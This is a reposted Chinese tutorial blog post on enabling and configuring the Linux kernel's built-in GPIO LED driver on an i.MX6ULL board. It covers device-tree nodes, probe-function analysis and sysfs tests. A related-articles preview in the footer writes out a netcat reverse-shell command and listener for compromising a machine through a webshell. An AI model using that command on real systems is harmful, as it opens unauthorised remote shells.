Linux学习第30天:Linux 自带的 LED 灯驱动实验:驱动开发思维方式的转变势在必行

news2024/11/17 1:36:01

Linux版本号4.1.15   芯片I.MX6ULL                                    大叔学Linux    品人间百味  思文短情长 


         学习嵌入式Linux驱动开发整整30天了。今天简单做一个小结。因为之前的主要工作是做ARM的裸机开发,所以接触Linux以后感觉很多东西都变了。不仅仅包括相关知识点的归纳,更重要的是思维方式的转变。做裸机开发的时候,在很多时候是要弄清楚最底层的逻辑才能进行代码的开发。而Linux则更像是站在一个更高的维度去思考,很细枝末叶的东西是不需要考虑的。相对裸机开发的维度来说,裸机开发后做Linux驱动开发更有点降维打击的感觉。但并不是说Linux驱动开发简单,而是说裸机开发对底层的要求可能会更高一些。以上仅仅是个人的一点自我感受。

        本节笔记主要学习Linux自带的LED驱动试验。主要内容包括驱动使能、简介、设备树节点编写及运行测试。其中驱动简介又包括LED灯驱动框架分析、module_platform_driver函数简介和gpio_led_probe函数简析。

一、Linux内核自带的LED灯驱动使能

        需要配置Linux内核,使能自带的LED驱动。使用make menuconfig打开Linux配置菜单。

        按照如下路径打开LED驱动配置项:

        Device Drivers

                LED Support(NEW_LEDS=[y])

                        LED Support for GPIO connected LEDs. 在此选项上按下“ Y”键,使此选项前面变为“ <*>”,

        重新编译 Linux 内核,然后使用新编译出来的 zImage 镜像启动开发板。

二、Linux内核自带LED驱动简介

1、LED灯驱动框架分析

obj-$(CONFIG_LEDS_GPIO) += leds-gpio.o

236 static const struct of_device_id of_gpio_leds_match[] = {
237 { .compatible = "gpio-leds", },
238 {},
239 };

        LED 驱动的匹配表,此表只有一个匹配项, compatible 内容为“ gpio-leds”,因此设备树中的 LED 灯设备节点的 compatible 属性值也要为“ gpio-leds”,否则设备和驱动匹配不成功,驱动就没法工作。

static struct platform_driver gpio_led_driver = {
291 .probe = gpio_led_probe,
292 .remove = gpio_led_remove,
293 .driver = {
294 .name = "leds-gpio",
295 .of_match_table = of_gpio_leds_match,
296 },

        platform_driver 驱动结构体变量,可以看出, Linux 内核自带的 LED 驱动采用了 platform 框架。

module_platform_driver(gpio_led_driver);

        通过 module_platform_driver 函数向 Linux 内核注册 gpio_led_driver 这个 platform
驱动。

2、module_platform_driver函数简介

        module_platform_driver 定义在 include/linux/platform_device.h 文件中为一个,

        module_platform_driver 依赖 module_driver, module_driver 也是一个宏。

        module_platform_driver 函数的功能就是完成 platform 驱动的注册和删除

3、gpio_led_probe函数简析

269 priv = gpio_leds_create(pdev);
270 if (IS_ERR(priv))
271 return PTR_ERR(priv);

        如果使用设备树的话,使用 gpio_leds_create 函数从设备树中提取设备信息,获取到的 LED 灯 GPIO 信息保存在返回值中。

        在gpio_leds_create 函数中,调用 device_get_child_node_count 函数统计子节点数量,一般在在设备树中创建一个节点表示 LED 灯,然后在这个节点下面为每个 LED 灯创建一个子节点。因此子节点数量也是 LED 灯的数量。
 

device_for_each_child_node(dev, child) {

        遍历每个子节点,获取每个子节点的信息。

led.gpiod = devm_get_gpiod_from_child(dev, NULL, child);

        获取 LED 灯所使用的 GPIO 信息。

196 if (fwnode_property_present(child, "label")) {
197 fwnode_property_read_string(child, "label", &led.name);

        读取子节点 label 属性值,因为使用 label 属性作为 LED 的名字。

204 fwnode_property_read_string(child, "linux,default-trigger",
205 &led.default_trigger);

        获取“ linux,default-trigger”属性值,可以通过此属性设置某个 LED 灯在Linux 系统中的默认功能,比如作为系统心跳指示灯等等。

207 if (!fwnode_property_read_string(child, "default-state",
208 &state)) {
209 if (!strcmp(state, "keep"))
210 led.default_state = LEDS_GPIO_DEFSTATE_KEEP;
211 else if (!strcmp(state, "on"))
212 led.default_state = LEDS_GPIO_DEFSTATE_ON;
213 else
214 led.default_state = LEDS_GPIO_DEFSTATE_OFF;
215 }

        获取“ default-state”属性值,也就是 LED 灯的默认状态属性。

220 ret = create_gpio_led(&led, &priv->leds[priv->num_leds++],
221 dev, NULL);

        调用 create_gpio_led 函数创建 LED 相关的 io,其实就是设置 LED 所使用的 io为输出之类的。 create_gpio_led 函数主要是初始化 led_dat 这个 gpio_led_data 结构体类型变量,led_dat 保存了 LED 的操作函数等内容。

        gpio_led_probe 函数主要功能就是获取 LED 灯的设备信息,然后根据这些信息来初始化对应的 IO,设置为输出等。     

三、设备树节点编写

        在编写设备节点的时候要注意以下几点:
①、创建一个节点表示 LED 灯设备,比如 dtsleds,如果板子上有多个 LED 灯的话每个 LED
灯都作为 dtsleds 的子节点。
②、 dtsleds 节点的 compatible 属性值一定要为“ gpio-leds”。
③、设置 label 属性,此属性为可选,每个子节点都有一个 label 属性, label 属性一般表示
LED 灯的名字,比如以颜色区分的话就是 red、 green 等等。
④、每个子节点必须要设置 gpios 属性值,表示此 LED 所使用的 GPIO 引脚!
⑤、可以设置“ linux,default-trigger”属性值,也就是设置 LED 灯的默认功能,比如:
backlight: LED 灯作为背光。
default-on: LED 灯打开
heartbeat: LED 灯作为心跳指示灯,可以作为系统运行提示灯。
ide-disk: LED 灯作为硬盘活动指示灯。
timer: LED 灯周期性闪烁,由定时器驱动,闪烁频率可以修改
⑥、可以设置“ default-state”属性值,可以设置为 on、 off 或 keep,为 on 的时候 LED 灯默
认打开,为 off 的话 LED 灯默认关闭,为 keep 的话 LED 灯保持当前模式。

1 dtsleds {
2 compatible = "gpio-leds";
3 4
led0 {
5 label = "red";
6 gpios = <&gpio1 3 GPIO_ACTIVE_LOW>;
7 default-state = "off";
8 };
9 };

四、运行测试

        启 动 开 发 板 , 启 动 以 后 查 看/sys/bus/platform/devices/dtsleds 这个目录是否存在。

进入到 leds 目录中,此目录中的内容如图所示:

        在 leds 目录下有一个名为“ red”子目录,这个子目录的名字就是我们在设备树中第 5 行设置的 label 属性值。

        输入如下命令打开 RED 这个 LED 灯:
echo 1 > /sys/class/leds/red/brightness //打开 LED0
        关闭 RED 这个 LED 灯的命令如下:
echo 0 > /sys/class/leds/red/brightness //关闭 LED0

        系统运行指示灯:

1 dtsleds {
2 compatible = "gpio-leds";
3 4
led0 {
5 label = "red";
6 gpios = <&gpio1 3 GPIO_ACTIVE_LOW>;
7 linux,default-trigger = "heartbeat";
8 default-state = "on";
9 };
10 };

        设置 LED0 作为系统指示灯,在 dtsleds 这个设备节点中加入“ linux,default-trigger”属性信息即可,属性值为“ heartbeat”。

五、总结

        本节笔记主要内容包括驱动使能、简介、设备树节点编写及运行测试。其中驱动简介又包括LED灯驱动框架分析、module_platform_driver函数简介和gpio_led_probe函数简析。


本文为参考正点原子开发板配套教程整理而得,仅用于学习交流使用,不得用于商业用途。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1163542.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++ 类的设计

一、c类的设计 类 是一种将抽象转换为用户定义类型的 C工具&#xff0c; 它将数据表示操纵数据的方法组合成一个整洁的包。 语法&#xff1a; 其中"class类名"称为类头。花括号中的部分称为类体&#xff0c;类体中定义了类成员表。 在C中&#xff0c;类是一种数据类型…

玩一下Spring Boot

文章目录 1 开发环境1.1 JDK1.2 IntelliJ IDEA2 Spring Boot2.1 创建项目2.2 创建模板页面2.3 创建控制器2.4 启动项目2.5 访问页面1 开发环境 1.1 JDK 安装JDK21 配置环境变量 在命令行查看JDK版本 玩一玩jshell

win10开机启动软件 ,开机启动文件夹介绍【详解】

文章目录 前言一、开机自启的文件夹&#xff08;方法一&#xff09;二、使用【Windows R 】 打开运行窗口&#xff08;方法二&#xff09;三、示例总结 前言 发布出来的程序&#xff0c;客户需要开机自启&#xff0c;so 查了一下 一、开机自启的文件夹&#xff08;方法一&…

深度新闻稿件怎么写?新闻稿怎么写得有深度?

深度新闻稿件&#xff0c;顾名思义&#xff0c;是对新闻事件进行深入挖掘和分析的稿件。它不仅仅是对事件的简单报道&#xff0c;更注重对事件背后的社会现象、原因、影响等方面进行深度剖析&#xff0c;从而使读者能够全面、深入地了解事件。这种稿件要求作者具备较高的新闻敏…

datagrip 使用自定义参数

两种使用方法&#xff1a; 1. 直接打问号❓&#xff0c;执行的时候会问你这个问号填什么 2. 设置参数&#xff0c;执行的时候会问你这个参数填什么 格式&#xff1a;${xxxx} xxxx是你定义的参数名字 SELECT ${column_name} FROM actor WHERE actor_id${actor_id} 执行就会问…

基于Qt QTreeView|QTreeWidget控件使用简单版

头文件解析: 这是一个C++代码文件,定义了一个名为MainWindow的类。以下是对每一句的详细解释: ```cpp #ifndef MAINWINDOW_H #define MAINWINDOW_H ``` 这是一个条件编译指令,用于避免头文件的重复包含。`MAINWINDOW_H`是一个宏定义,用于唯一标识这个头文件。 ```cpp #…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

C语言到底算高级程序语言还是低级程序语言?

C语言到底算高级程序语言还是低级程序语言&#xff1f; 高级语言 这里的高级都是相对于汇编语言来说的&#xff0c;是指脱离了计算机的硬件系统&#xff0c;可以按照人的思维逻辑进 行编程的语言 低级语言-般都依赖硬件, 基本换个硬件就得重写&#xff0c;很多人说C语言是低…

二维码智慧门牌管理系统:实现六实数据管理应用,让小区管理更便捷!

文章目录 前言一、引入六实数据管理应用二、人员管理三、房屋管理四、车辆管理五、安防管理六、公共信息管理 前言 在这个科技飞速发展的时代&#xff0c;传统小区管理方式已经无法满足人们对于安全、舒适和便捷的需求。而二维码智慧门牌管理系统作为新时代小区管理的利器&…

如何利用AppScan扫描H5页面,进行安全测试?

前期项目组接触的都是Web安全测试&#xff0c;今天做安全测试的时候&#xff0c;有一个项目刚好有H5页面&#xff0c;用以前那种AppScan内置浏览器的探索方式是不行的&#xff0c;研究了下&#xff0c;可以使用外部设备进行探索。 AppScan有两种手动探索方式&#xff0c;一种是…

AIGC|把Azure Open AI和Jira集成起来,实现智能化项目管理

目录 一、Jira与Azure OpenAI介绍 二、Jira和Azure OpenAI的REST API对接 三、利用Chats插件实现对话的过程 四、总结 一、Jira与Azure OpenAI介绍 Jira是一款由澳大利亚公司Atlassian开发的项目管理工具&#xff0c;主要用于追踪问题、管理需求、构建报告和管理故障等事项…

vsan 7.0.3部署后常见问题

一、数据库版本问题 https://partnerweb.vmware.com/service/vsan/all.json 登录可以访问 Internet 的工作站。在浏览器中打开以下链接&#xff1a; https://partnerweb.vmware.com/service/vsan/all.json (右键单击&#xff0c;另存为)将此文件另存为 all.json。如果无法保存…

vLive虚拟直播2.6.5版本更新,两大新功能让场景展示更丰富!

vLive虚拟直播系统https://live.vsochina.com/cnvLive虚拟直播系统在最新的2.6.5版本中新增优化了两大功能&#xff0c;为用户带来更加丰富多样的场景展示体验。现在&#xff0c;请跟随小编一同了解这些新功能吧&#xff01; 1.本地模式支持导入自定义2D/3D素材 vLive虚拟直播…

tcp/ip该来的还是得来

1. TCP/IP、Http、Socket的区别 \qquad 区别是&#xff1a;TCP/IP即传输控制/网络协议&#xff0c;也叫作网络通讯协议&#xff0c;它是在网络的使用中的最基本的通信协议。Http是一个简单的请求-响应协议&#xff0c;它通常运行在TCP之上。Socket是对网络中不同主机上的应用进…

vscode如何快速生成想要的vue格式代码

&#xff01; tab键会生成标准的html格式代码 vue tab键我也想让它生成我想要的格式代码&#xff0c;比方说经常用一些方法&#xff0c;生命周期&#xff0c;或者样式类型&#xff08;less scss&#xff09; 文件-> 首选项->配置用户代码片段 &#xff08;点了之后可能…

康耐视VisionPro+C#程序编写

添加引用&#xff0c;用什么就添加什么 康耐视控件名 代码实现 引用命名空间 using Cognex.VisionPro.PMAlign; 实例化工具及训练区域设置 CogPMAlignTool cogPMAlignTool new CogPMAlignTool(); cogPMAlignTool.InputImage cogImageFileTool.OutputImage as CogImage8…

软文推广没效果?媒介盒子分享软文优化技巧

虽然软文推广能够为企业实现品牌增值&#xff0c;但也有许多企业在推广过程中犯错导致宣传没有效果&#xff0c;今天媒介盒子就来和大家聊聊企业在进行软文推广中的常见问题以及优化技巧。 问题1&#xff1a;内容生硬无法自然融入品牌信息 这也是企业在软文写作中较常出现的问…

ESP32 未来能够取代 STM32吗

今日话题&#xff0c;ESP32 未来能够取代 STM32吗&#xff1f;ESP32和STM32各自有其特点和优势&#xff0c;能否取代彼此取决于具体应用和需求。STM32的流行除了性价比外&#xff0c;还有其强大的开发环境&#xff0c;例如Cubemx能够快速生成代码&#xff0c;使得上手STM32的速…

(2)STM32单片机上位机

使用VX小程序开发上位机&#xff0c; 样式如何创建&#xff1f; 在你所在页面 开辟空间 使用 view 在view 中 输入class 就是样式&#xff0c;在编辑样式的时候&#xff0c;如何寻找哪一块的样式 就是通过这个class寻找的 按钮使用switch